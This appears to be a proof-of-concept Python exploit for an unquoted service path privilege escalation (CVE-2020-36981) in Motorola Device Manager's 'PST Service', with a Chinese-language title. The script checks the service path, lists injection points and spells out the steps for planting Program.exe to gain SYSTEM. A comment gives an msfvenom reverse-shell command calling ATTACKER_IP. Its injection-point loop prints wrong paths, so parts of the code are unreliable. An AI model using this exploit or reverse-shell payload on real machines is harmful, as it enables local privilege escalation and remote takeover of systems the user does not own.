CVE-2020-36981 | Motorola Device Manager 未引号服务路径提权漏洞

# CVE-2020-36981 - Motorola Device Manager Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in ForwardDaemon.exe # Attack prerequisite: Local user access with low privileges import os import subprocess import ctypes def check_vulnerability(): """Check if the target service is vulnerable to unquoted path""" service_name = "PST Service" try: # Query service configuration using sc command result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print("[*] Service found, checking binary path...") for line in result.stdout.split('\n'): if "BINARY_PATH_NAME" in line: path = line.split(":", 1)[1].strip() print(f"[*] Current path: {path}") # Check if path is unquoted if '"' not in path: print("[!] VULNERABLE: Path is not quoted!") return True else: print("[-] SAFE: Path is properly quoted") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_unquoted_path(): """ Exploitation steps: 1. Identify the unquoted path: C:\Program Files\Motorola Device Manager\ForwardDaemon.exe 2. Create malicious executable named 'Program.exe' in C:\ 3. Wait for service restart or reboot 4. Malicious code executes with SYSTEM privileges """ vulnerable_path = "C:\\Program Files\\Motorola Device Manager\\ForwardDaemon.exe" # Extract potential injection points parts = vulnerable_path.split('\\') print("[*] Potential injection points:") current_path = "" for i, part in enumerate(parts[:-1]): current_path += part + "\\" if ' ' in part and '"' not in vulnerable_path: print(f"[+] {current_path}{part}.exe") # Generate reverse shell payload # msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > Program.exe print("\n[!] Exploitation requires:") print("1. Create malicious executable at injection point") print("2. Wait for service restart or trigger manually: sc stop 'PST Service' && sc start 'PST Service'") print("3. Receive SYSTEM shell on attacker machine") if __name__ == "__main__": print("=== CVE-2020-36981 PoC ===") check_vulnerability() exploit_unquoted_path()